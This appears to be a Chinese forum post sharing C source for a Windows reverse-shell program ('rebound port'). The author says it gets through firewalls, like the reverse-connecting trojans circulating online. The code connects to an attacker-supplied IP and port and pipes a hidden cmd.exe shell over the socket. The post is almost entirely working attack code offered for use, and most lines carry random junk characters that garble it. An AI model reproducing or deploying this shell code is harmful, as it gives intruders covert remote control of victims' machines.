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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Fw/6?:C}O6  
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/* ============================== Y&[1`:-~-  
Rebound port in Windows NT IM:=@a{  
By wind,2006/7 |M>eEE*F<  
===============================*/ 6BY-^"W5`  
#include !(mjyr  
#include wAX1l*`  
kd=GCO  
#pragma comment(lib,"wsock32.lib") __`*dL>*  
VcAue!MN  
void OutputShell(); *YW/_  
SOCKET sClient; &K[_J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8;z6=.4xtg  
IYqBQnX}oM  
void main(int argc,char **argv) ZtV9&rd7  
{ ]Oh@,V8  
WSADATA stWsaData; <p}R~zk  
int nRet; aHs^tPg  
SOCKADDR_IN stSaiClient,stSaiServer; {n(b{ ibl  
=CK4.   
if(argc != 3) 5j:0Yt  
{ w<C#Bka  
printf("Useage:\n\rRebound DestIP DestPort\n"); h "Xg;(K  
return; g+DzscIT  
} 9!f/aI  
uG?_< mun  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q Btnx[  
l=]cy-H  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aY3^C q(r  
v$~QU{ &  
stSaiClient.sin_family = AF_INET; 0T@Zb={  
stSaiClient.sin_port = htons(0); zw+B9PYqX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -d8TD*^  
@_U;9)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,%n\=  
{ #?5 (o  
printf("Bind Socket Failed!\n"); U3 */v4/  
return; @*}D$}aR'V  
} qgE 73.!`6  
wDcj,:h`  
stSaiServer.sin_family = AF_INET; 4S,`bnmB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^cV;~&|.Xk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $>*3/H  
if}-_E<F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wkP#Z"A0~  
{ (2$( ?-M  
printf("Connect Error!"); I{ HN67O  
return; aki _RG>U'  
} tDSJpW'd  
OutputShell(); (]b!{kS  
} 9w"h  
MA;1 ;uI,  
void OutputShell() kz{/(t  
{ "Weg7mc#  
char szBuff[1024]; cS>e?  
SECURITY_ATTRIBUTES stSecurityAttributes; ^9^WuSq  
OSVERSIONINFO stOsversionInfo; &@%W29:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ipQLK{]t  
STARTUPINFO stStartupInfo; I3 .x9  
char *szShell; ([ jF4/  
PROCESS_INFORMATION stProcessInformation; `n$I]_}/%  
unsigned long lBytesRead; %R@X>2l/_  
7+]=-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `^bgUmJ~  
bx<RV7>0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6WV\}d:  
stSecurityAttributes.lpSecurityDescriptor = 0; GMMp|WV|  
stSecurityAttributes.bInheritHandle = TRUE; 5:O-tgig.  
}~#pEX~j*  
HkQ*y$$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W`K7 QWV4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &Ts-a$Z7?S  
O_$m!5ug  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j2Tr $gx<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >"gf3rioW  
stStartupInfo.wShowWindow = SW_HIDE; W4[V}s5u  
stStartupInfo.hStdInput = hReadPipe; )A!>=2M `  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (EK"V';   
EG0WoUX|  
GetVersionEx(&stOsversionInfo); }-ftyl7  
$SM# < @  
switch(stOsversionInfo.dwPlatformId) $tz;<M7B  
{ )_{dWf1  
case 1: $}lbT15a  
szShell = "command.com"; t>1Z\lE\"  
break; SfgU`eF%B  
default: ! vP[;6  
szShell = "cmd.exe"; C3< m7h  
break; )p T?/ J  
} rrQQZ5fhb  
VS9`{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3BB%Z 6F  
D!.[q-<  
send(sClient,szMsg,77,0); uvtF_P/  
while(1) .{ 44a$)  
{ [!}:KD2yX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %FXfqF9  
if(lBytesRead) ObLly%|i  
{ I"Ms-zs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #?q&r_@@  
send(sClient,szBuff,lBytesRead,0); j;s"q]"x]  
} !6s"]WvF  
else V+Cwzc^j  
{ /DQc&.jK  
lBytesRead=recv(sClient,szBuff,1024,0); M%1}/!J3  
if(lBytesRead<=0) break; _7IKzUn9g[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )N=NR2xBZ  
} _{R=B8Zz\  
} '&.#  
G"X8}:}  
return; R<sJ^nx  
}
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